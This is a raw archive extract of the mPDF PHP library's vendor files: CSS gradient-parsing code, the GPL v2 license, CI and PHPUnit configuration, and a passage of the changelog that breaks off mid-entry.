valid point/angle? if ($startStops === 1) { // default values // [<point> || <angle>,] = [<% em px left center right bottom top> || <deg grad rad 0>,] if (preg_match('/([\-]*[0-9\.]+)(deg|grad|rad)/i', $bgr[0], $m)) { $angle = $m[1] + 0; if (strtolower($m[2]) === 'grad') { $angle *= (360 / 400); } elseif (strtolower($m[2]) === 'rad') { $angle = rad2deg($angle); } while ($angle < 0) { $angle += 360; } $angle %= 360; } elseif (trim($first[count($first) - 1]) === '0') { $angle = 0; } if (stripos($bgr[0], 'left') !== false) { $startx = 0; } elseif (stripos($bgr[0], 'right') !== false) { $startx = 1; } if (stripos($bgr[0], 'top') !== false) { $starty = 1; } elseif (stripos($bgr[0], 'bottom') !== false) { $starty = 0; } // Check for %? ?% or %% if (preg_match('/(\d+)[%]/i', $first[0], $m)) { $startx = $m[1] / 100; } elseif (!isset($startx) && preg_match('/([0-9.]+(px|em|ex|pc|pt|cm|mm|in))/i', $first[0], $m)) { $tmp = $this->sizeConverter->convert($m[1], $this->mpdf->w, $this->mpdf->FontSize, false); if ($tmp) { $startx = $m[1]; } } if (isset($first[1]) && preg_match('/(\d+)[%]/i', $first[1], $m)) { $starty = 1 - ($m[1] / 100); } elseif (!isset($starty) && isset($first[1]) && preg_match('/([0-9.]+(px|em|ex|pc|pt|cm|mm|in))/i', $first[1], $m)) { $tmp = $this->sizeConverter->convert($m[1], $this->mpdf->w, $this->mpdf->FontSize, false); if ($tmp) { $starty = $m[1]; } } if (isset($startx) && !isset($starty)) { $starty = 0.5; } if (!isset($startx) && isset($starty)) { $startx = 0.5; } } else { // If neither a <point> or <angle> is specified, i.e. the entire function consists of only <stop> values, // the gradient axis starts from the top of the box and runs vertically downwards, ending at the bottom of // the box. $starty = 1; $startx = 0.5; $endy = 0; $endx = 0.5; } if (!isset($startx)) { $startx = false; } if (!isset($starty)) { $starty = false; } if (!isset($endx)) { $endx = false; } if (!isset($endy)) { $endy = false; } if (!isset($angle)) { $angle = false; } $g['coords'] = [$startx, $starty, $endx, $endy, $angle, $repeat]; $g['stops'] = []; for ($i = $startStops; $i < count($bgr); $i++) { // parse stops $el = preg_split('/\s+/', trim($bgr[$i])); // mPDF 5.3.74 $col = $this->colorConverter->convert($el[0], $this->mpdf->PDFAXwarnings); if (!$col) { $col = $this->colorConverter->convert(255, $this->mpdf->PDFAXwarnings); } if ($col[0] == 1) { $g['colorspace'] = 'Gray'; } elseif ($col[0] == 4 || $col[0] == 6) { $g['colorspace'] = 'CMYK'; } $g['stops'][] = $this->getStop($col, $el, true); } return $g; } private function parseMozRadialGradient($m, $repeat) { $g = []; $g['type'] = self::TYPE_RADIAL; $g['colorspace'] = 'RGB'; $g['extend'] = ['true', 'true']; $v = trim($m[1]); // Change commas inside e.g. rgb(x,x,x) while (preg_match('/(\([^\)]*?),/', $v)) { $v = preg_replace('/(\([^\)]*?),/', '\\1@', $v); } // Remove spaces inside e.g. rgb(x, x, x) while (preg_match('/(\([^\)]*?)[ ]/', $v)) { $v = preg_replace('/(\([^\)]*?)[ ]/', '\\1', $v); } $bgr = preg_split('/\s*,\s*/', $v); for ($i = 0; $i < count($bgr); $i++) { $bgr[$i] = preg_replace('/@/', ',', $bgr[$i]); } // Is first part $bgr[0] a valid point/angle? $startStops = 0; $pos_angle = false; $shape_size = false; $first = preg_split('/\s+/', trim($bgr[0])); $checkCol = $this->colorConverter->convert($first[0], $this->mpdf->PDFAXwarnings); if (preg_match('/(left|center|right|bottom|top|deg|grad|rad)/i', $bgr[0]) && !preg_match('/(<#|rgb|rgba|hsl|hsla)/i', $bgr[0])) { $startStops = 1; $pos_angle = $bgr[0]; } elseif (trim($first[count($first) - 1]) === '0') { $startStops = 1; $pos_angle = $bgr[0]; } elseif (preg_match('/(circle|ellipse|closest-side|closest-corner|farthest-side|farthest-corner|contain|cover)/i', $bgr[0])) { $startStops = 1; $shape_size = $bgr[0]; } elseif (!$checkCol) { $startStops = 1; $pos_angle = $bgr[0]; } if (preg_match('/(circle|ellipse|closest-side|closest-corner|farthest-side|farthest-corner|contain|cover)/i', $bgr[1])) { $startStops = 2; $shape_size = $bgr[1]; } // If valid point/angle? if ($pos_angle) { // default values // [<point> || <angle>,] = [<% em px left center right bottom top> || <deg grad rad 0>,] if (stripos($pos_angle, 'left') !== false) { $startx = 0; } elseif (stripos($pos_angle, 'right') !== false) { $startx = 1; } if (stripos($pos_angle, 'top') !== false) { $starty = 1; } elseif (stripos($pos_angle, 'bottom') !== false) { $starty = 0; } // Check for %? ?% or %% if (preg_match('/(\d+)[%]/i', $first[0], $m)) { $startx = $m[1] / 100; } elseif (!isset($startx) && preg_match('/([0-9.]+(px|em|ex|pc|pt|cm|mm|in))/i', $first[0], $m)) { $tmp = $this->sizeConverter->convert($m[1], $this->mpdf->w, $this->mpdf->FontSize, false); if ($tmp) { $startx = $m[1]; } } if (isset($first[1]) && preg_match('/(\d+)[%]/i', $first[1], $m)) { $starty = 1 - ($m[1] / 100); } elseif (!isset($starty) && isset($first[1]) && preg_match('/([0-9.]+(px|em|ex|pc|pt|cm|mm|in))/i', $first[1], $m)) { $tmp = $this->sizeConverter->convert($m[1], $this->mpdf->w, $this->mpdf->FontSize, false); if ($tmp) { $starty = $m[1]; } } if (!isset($starty)) { $starty = 0.5; } if (!isset($startx)) { $startx = 0.5; } } else { // If neither a <point> or <angle> is specified, i.e. the entire function consists of only <stop> values, // the gradient axis starts from the top of the box and runs vertically downwards, ending at the bottom of // the box. default values Center $starty = 0.5; $startx = 0.5; $endy = 0.5; $endx = 0.5; } // If valid shape/size? $shape = 'ellipse'; // default $size = 'farthest-corner'; // default if ($shape_size) { // default values if (preg_match('/(circle|ellipse)/i', $shape_size, $m)) { $shape = $m[1]; } if (preg_match('/(closest-side|closest-corner|farthest-side|farthest-corner|contain|cover)/i', $shape_size, $m)) { $size = $m[1]; if ($size === 'contain') { $size = 'closest-side'; } elseif ($size === 'cover') { $size = 'farthest-corner'; } } } if (!isset($startx)) { $startx = false; } if (!isset($starty)) { $starty = false; } if (!isset($endx)) { $endx = false; } if (!isset($endy)) { $endy = false; } $radius = false; $angle = 0; $g['coords'] = [$startx, $starty, $endx, $endy, $radius, $angle, $shape, $size, $repeat]; $g['stops'] = []; for ($i = $startStops; $i < count($bgr); $i++) { // parse stops $el = preg_split('/\s+/', trim($bgr[$i])); // mPDF 5.3.74 $col = $this->colorConverter->convert($el[0], $this->mpdf->PDFAXwarnings); if (!$col) { $col = $this->colorConverter->convert(255, $this->mpdf->PDFAXwarnings); } if ($col[0] == 1) { $g['colorspace'] = 'Gray'; } elseif ($col[0] == 4 || $col[0] == 6) { $g['colorspace'] = 'CMYK'; } $g['stops'][] = $this->getStop($col, $el); } return $g; } private function getStop($col, $el, $convertOffset = false) { $stop = [ 'col' => $col, ]; if ($col[0] == 5) { // transparency from rgba() $stop['opacity'] = ord($col[4]) / 100; } elseif ($col[0] == 6) { // transparency from cmyka() $stop['opacity'] = ord($col[5]) / 100; } elseif ($col[0] == 1 && $col[2] == 1) { // transparency converted from rgba or cmyka() $stop['opacity'] = ord($col[3]) / 100; } if (isset($el[1])) { if (preg_match('/(\d+)[%]/', $el[1], $m)) { $stop['offset'] = $m[1] / 100; if ($stop['offset'] > 1) { unset($stop['offset']); } } elseif (preg_match('/([0-9.]+(px|em|ex|pc|pt|cm|mm|in))/i', $el[1], $m)) { if ($convertOffset) { $tmp = $this->sizeConverter->convert($m[1], $this->mpdf->w, $this->mpdf->FontSize, false); if ($tmp) { $stop['offset'] = $m[1]; } } else { $stop['offset'] = $el[1]; } } } return $stop; } public function parseMozGradient($bg) { // background[-image]: -moz-linear-gradient(left, #c7Fdde 20%, #FF0000 ); // background[-image]: linear-gradient(left, #c7Fdde 20%, #FF0000 ); // CSS3 $repeat = strpos($bg, 'repeating-') !== false; if (preg_match('/linear-gradient\((.*)\)/', $bg, $m)) { $g = $this->parseMozLinearGradient($m, $repeat); if (count($g['stops'])) { return $g; } } elseif (preg_match('/radial-gradient\((.*)\)/', $bg, $m)) { $g = $this->parseMozRadialGradient($m, $repeat); if (count($g['stops'])) { return $g; } } return []; } public function parseBackgroundGradient($bg) { // background-gradient: linear #00FFFF #FFFF00 0 0.5 1 0.5; or // background-gradient: radial #00FFFF #FFFF00 0.5 0.5 1 1 1.2; $v = trim($bg); $bgr = preg_split('/\s+/', $v); $count_bgr = count($bgr); $g = []; if ($count_bgr > 6) { if (stripos($bgr[0], 'L') === 0 && $count_bgr === 7) { // linear $g['type'] = self::TYPE_LINEAR; //$coords = array(0,0,1,1 ); // 0 0 1 0 or 0 1 1 1 is L 2 R; 1,1,0,1 is R2L; 1,1,1,0 is T2B; 1,0,1,1 is B2T // Linear: $coords - array of the form (x1, y1, x2, y2) which defines the gradient vector (see linear_gradient_coords.jpg). // The default value is from left to right (x1=0, y1=0, x2=1, y2=0). $g['coords'] = [$bgr[3], $bgr[4], $bgr[5], $bgr[6]]; } elseif ($count_bgr === 8) { // radial $g['type'] = self::TYPE_RADIAL; // Radial: $coords - array of the form (fx, fy, cx, cy, r) where (fx, fy) is the starting point of the gradient with color1, // (cx, cy) is the center of the circle with color2, and r is the radius of the circle (see radial_gradient_coords.jpg). // (fx, fy) should be inside the circle, otherwise some areas will not be defined $g['coords'] = [$bgr[3], $bgr[4], $bgr[5], $bgr[6], $bgr[7]]; } $g['colorspace'] = 'RGB'; // mPDF 5.3.74 $cor = $this->colorConverter->convert($bgr[1], $this->mpdf->PDFAXwarnings); if ($cor[0] == 1) { $g['colorspace'] = 'Gray'; } elseif ($cor[0] == 4 || $cor[0] == 6) { $g['colorspace'] = 'CMYK'; } if ($cor) { $g['col'] = $cor; } else { $g['col'] = $this->colorConverter->convert(255, $this->mpdf->PDFAXwarnings); } $cor = $this->colorConverter->convert($bgr[2], $this->mpdf->PDFAXwarnings); if ($cor) { $g['col2'] = $cor; } else { $g['col2'] = $this->colorConverter->convert(255, $this->mpdf->PDFAXwarnings); } $g['extend'] = ['true', 'true']; $g['stops'] = [['col' => $g['col'], 'opacity' => 1, 'offset' => 0], ['col' => $g['col2'], 'opacity' => 1, 'offset' => 1]]; return $g; } return false; } } ��������������������������������������������������������������������vendor/mpdf/mpdf/LICENSE.txt������������������������������������������������������������������������0000644�����������������00000035564�14760002214�0011551 0����������������������������������������������������������������������������������������������������ustar�00������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������� GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Lesser General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS ��������������������������������������������������������������������������������������������������������������������������������������������vendor/mpdf/mpdf/.travis.yml������������������������������������������������������������������������0000644�����������������00000001274�14760002214�0012026 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������language: php dist: xenial group: edge php: - 7.3 - 7.1 - 5.6 - 7.4 - 7.2 - 7.0 - nightly matrix: include: - env: LINT=1 php: 7.1 #- env: COVERAGE=1 # php: 7.1 allow_failures: - php: nightly install: - composer self-update - echo "${TRAVIS_PHP_VERSION:0:3}" - | if [[ "${TRAVIS_PHP_VERSION:0:7}" == "nightly" ]]; then composer install --ignore-platform-reqs else composer install fi script: - | if [[ "$LINT" == "1" ]]; then composer cs elif [[ "$COVERAGE" == "1" ]]; then composer coverage else composer test fi notifications: email: on_success: change on_failure: always ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/mpdf/mpdf/phpunit.xml������������������������������������������������������������������������0000644�����������������00000000663�14760002214�0012127 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<phpunit bootstrap="tests/bootstrap.php" colors="true" backupGlobals="false"> <testsuites> <testsuite> <directory suffix=".php">./tests</directory> </testsuite> </testsuites> <filter> <whitelist processUncoveredFilesFromWhitelist="true"> <directory suffix=".php">src</directory> </whitelist> </filter> <listeners> <listener class="\Mockery\Adapter\Phpunit\TestListener"></listener> </listeners> </phpunit> �����������������������������������������������������������������������������vendor/mpdf/mpdf/CHANGELOG.md�����������������������������������������������������������������������0000644�����������������00000107741�14760002214�0011534 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������mPDF 8.1.x =========================== mPDF 8.0.x =========================== * Add C128RAW barcode type to create any barcode (ex: subtype change in middle of barcode) (#1124) * Add proxy support to curl * Fixed date and time format in the informations dictionary (#1083, @peterdevpl) * Checking allowed stream wrappers in CssManager * PHP 7.4 support (until final 7.4 release with composer --ignore-platform-reqs) * Improve debugging of remote content issues (@ribeirobreno) * Added `exposeVersion` configuration variable allowing to hide mPDF version from Producer tag and HTTP headers * Added the check for JPEG SOF header 0xFF 0xC1 (extended) (@jamiejones85) * Allows setting `none` as zoom mode in `SetDisplayMode` method, so that OpenAction is not written (#602) * Allowed image stream whitelist to be customised (#1005, thanks @jakejackson) * Fixed parsing of top-left-bottom-right CSS rules with !important (#1009) * Fixed skipping ordered list numbering with page-break-inside: avoid (#339) * Compound classes selector support, like `.one.two` or `div.message.special` (#538, @peterdevpl) * Fixed CMYK colors in text-shadow (#1115, @lexilya) mPDF 8.0.0 =========================== ### 15/03/2019 * Updated FPDI dependency to version 2 (thanks a lot, @JanSlabon) - removed `SetImportUse` method - case of `ImportPage` method changed to `importPage` - similarly, case of `setSourceFile` and `useTemplate` was changed to a lowercase first letter. - signature of `importPage` changed - returned value of `useTemplate` changed * Moved QRCode generating code portions to external package _mpdf/qrcode_ - This reduced package size considerably (ca 6MB) * Fraction sizes without leading zeros allowed for font sizes (#973, thanks @peterdevpl) * WriteHTML is now strict about used `$mode` parameter (#915, thanks, @tomtomau) * Fixed regression in nested tables (#860, thanks, @machour) * Scientific notation handling in CSS font sizes (#753, thanks, @peterdevpl) mPDF 7.1.x =========================== * PHAR security issue fixed (thanks, @jakejackson) * Font temporary data saved as JSON instead of generating PHP files (thanks, @jakejackson) * cURL handling enhancements (thanks, @jakejackson) * SVG parsing fixes (thanks, @achretien) * Write PDF content with *Writer service classes * PHP 7.3 is supported * Added myclabs/deepcopy dependency, fixed TOC page numbering (thanks, @jakejackson) * Custom color for QR codes * Added support for orientation config key * Code and tests cleanups and enhancements - PHPUnit dedicated assertions (thanks, @carusogabriel) - WriteHTML part constants (thanks, @tomtomau) - Various notice fixes (kudos to all respective authors) mPDF 7.0.x =========================== * Allow passing file content or file path to `SetAssociatedFiles` (#558) * Allowed ^1.4 and ^2.0 of paragon/random_compat to allow wider usage * Fix of undefined _getImage function (#539) * Code cleanup * Better writable rights for temp dir validation (#534) * Fix displaying dollar character in footer with core fonts (#520) * Fixed missed code2utf call (#531) * Refactored and cleaned-up classes and subnamespaces mPDF 7.0.0 =========================== ### 19/10/2017 Backward incompatible changes ----------------------------- - PHP `^5.6 || ~7.0.0 || ~7.1.0 || ~7.2.0` is required. - Entire project moved under `Mpdf` namespace - Practically all classes renamed to use `PascalCase` and named to be more verbose - Changed directory structure to comply to `PSR-4` - Removed explicit require calls, replaced with Composer autoloading - Removed configuration files - All configuration now done via `__construct` parameter (see below) - Changed `\Mpdf\Mpdf` constructor signature - Class now accepts only single array `$config` parameter - Array keys are former `config.php` and `config_fonts.php` properties - Additionally, former constructor parameters can be used as keys - `tempDir` directory now must be writable, otherwise an exception is thrown - ICC profile is loaded as entire path to file (to prevent a need to write inside vendor directory) - Moved examples to separate repository - Moved `TextVars` constants to separate class - Moved border constants to separate class - `scriptToLang` and `langToFont` in separate interfaced class methods - Will now throw an exception when `mbstring.func_overload` is set - Moved Glyph operator `GF_` constants in separate `\Mpdf\Fonts\GlyphOperator` class - All methods in Barcode class renamed to camelCase including public `dec_to_hex` and `hex_to_dec` - Decimal conversion methods (to roman, cjk, etc.) were moved to classes in `\Mpdf\Conversion` namespace - Images in PHP variables (`<img src="var:smileyface">`) were moved from direct Mpdf properties to `Mpdf::$imageVars` public property array - Removed global `_SVG_AUTOFONT` and `_SVG_CLASSES` constants in favor of `svgAutoFont` and `svgClasses` configuration keys - Moved global `_testIntersect`, `_testIntersectCircle` and `calc_bezier_bbox` fucntions inside `Svg` class as private methods. - Changed names to camelCase without underscores and to `computeBezierBoundingBox` - Security: Embedded files via `<annotation>` custom tag must be explicitly allowed via `allowAnnotationFiles` configuration key - `fontDir` property of Mpdf class is private and must be accessed via configuration variable with array of paths or `AddFontDirectory` method - QR code `<barcode>` element now treats `\r\n` and `\n` as actual line breaks - cURL is prefered over socket when downloading images. - Removed globally defined functions from `functions.php` in favor of `\Mpdf\Utils` classes `PdfDate` and `UtfString`. - Unused global functions were removed entirely. Removed features ---------------- - Progressbar support - JpGraph support - `error_reporting` changes - Timezone changes - `compress.php` utility - `_MPDF_PATH` and `_MPDF_URI` constants - `_MPDF_TEMP_PATH` constant in favor of `tempDir` configuration variable - `_MPDF_TTFONTDATAPATH` in favor of `tempDir` configuration variable - `_MPDFK` constant in favor of `\Mpdf\Mpdf::SCALE` class constant - `FONT_DESCRIPTOR` constant in favor of `fontDescriptor` configuration variable - `_MPDF_SYSTEM_TTFONTS` constant in favor of `fontDir` configuration variable with array of paths or `AddFontDirectory` method - HTML output of error messages and debugs - Formerly deprecated methods Fixes and code enhancements ---------------------------- - Fixed joining arab letters - Fixed redeclared `unicode_hex` function - Converted arrays to short syntax - Refactored and tested color handling with potential conversion fixes in `hsl*()` color definitions - Refactored `Barcode` class with separate class in `Mpdf\Barcode` namespace for each barcode type - Fixed colsum calculation for different locales (by @flow-control in #491) - Image type guessing from content separated to its own class New features ------------ - Refactored caching (custom `Cache` and `FontCache` classes) - Implemented `Psr\Log\LoggerAware` interface - All debug and additional messages are now sent to the logger - Messages can be filtered based on `\Mpdf\Log\Context` class constants - `FontFileFinder` class allowing to specify multiple paths to search for fonts - `MpdfException` now extends `ErrorException` to allow specifying place in code where error occured - Generating font metrics moved to separate class - Added `\Mpdf\Output\Destination` class with verbose output destination constants - Availability to set custom default CSS file - Availability to set custom hyphenation dictionary file - Refactored code portions to new "separate" classes: - `Mpdf\Color\*` classes - `ColorConvertor` - `ColorModeConvertor` - `ColorSpaceRestrictor` - `Mpdf\SizeConvertor` - `Mpdf\Hyphenator` - `Mpdf\Image\ImageProcessor` - `Mpdf\Image\ImageTypeGuesser` - `Mpdf\Conversion\*` classes - Custom watermark angle with `watermarkAngle` configuration variable - Custom document properties (idea by @zarubik in #142) - PDF/A-3 associated files + additional xmp rdf (by @chab in #130) - Additional font directories can be added via `addFontDir` method - Introduced `cleanup` method which restores original `mb_` encoding settings (see #421) - QR code `<barcode>` element now treats `\r\n` and `\n` as actual line breaks - Customizable following of 3xx HTTP redirects, validation of SSL certificates, cURL timeout. - `curlFollowLocation` - `curlAllowUnsafeSslRequests` - `curlTimeout` - QR codes can be generated without a border using `disableborder="1"` HTML attribute in `<barcode>` tag Git repository enhancements --------------------------- - Added contributing guidelines - Added Issue template mPDF 6.1.0 =========================== ### 26/04/2016 - Composer updates - First release officially supporting Composer - Updated license in composer.json - Chmod 777 on dirs `ttfontdata`, `tmp`, `graph_cache` after composer install - Requiring PHP 5.4.0+ with Composer - Code style - Reformated (almost) all PHP files to keep basic code style - Removed trailing whitespaces - Converted all txt, php, css, and htm files to utf8 - Removed closing PHP tags - Change all else if calls to elseif - Added base PHPUnit tests - Added Travis CI integration with unit tests - Changed all `mPDF::Error` and `die()` calls to throwing `MpdfException` - PDF Import changes - FPDI updated to 1.6.0 to fix incompatible licenses - FPDI loaded from Composer or manually only - Removed iccprofiles/CMYK directory - Renamed example files: change spaces to underscores to make scripting easier - Fixed `LEDGER` and `TABLOID` paper sizes - Implemented static cache for mpdf function `ConvertColor`. - Removed PHP4 style constructors - Work with HTML tags separated to `Tag` class - Fixed most Strict standards PHP errors - Add config constant so we can define custom font data - HTML - fax & tel support in href attribute - Check $html in `$mpdf->WriteHTML()` to see if it is an integer, float, string, boolean or a class with `__toString()` and cast to a string, otherwise throw exception. - PHP 7 - Fix getting image from internal variable in PHP7 (4dcc2b4) - Fix PHP7 Fatal error: `'break' not in the 'loop' or 'switch' context` (002bb8a) - Fixed output file name for `D` and `I` output modes (issue #105, f297546) mPDF 6.0 =========================== ### 20/12/2014 New features / Improvements --------------------------- - Support for OpenTypeLayout tables / features for complex scripts and Advances Typography. - Improved bidirectional text handling. - Improved line-breaking, including for complex scripts e.g. Lao, Thai and Khmer. - Updated page-breaking options. - Automatic language mark-up and font selection using autoScriptToLang and autoLangToFont. - Kashida for text-justification in arabic scripts. - Index collation for non-ASCII characters. - Index mark-up allowing control over layout using CSS. - `{PAGENO}` and `{nbpg}` can use any of the number types as in list-style e.g. set in `<pagebreak>` using 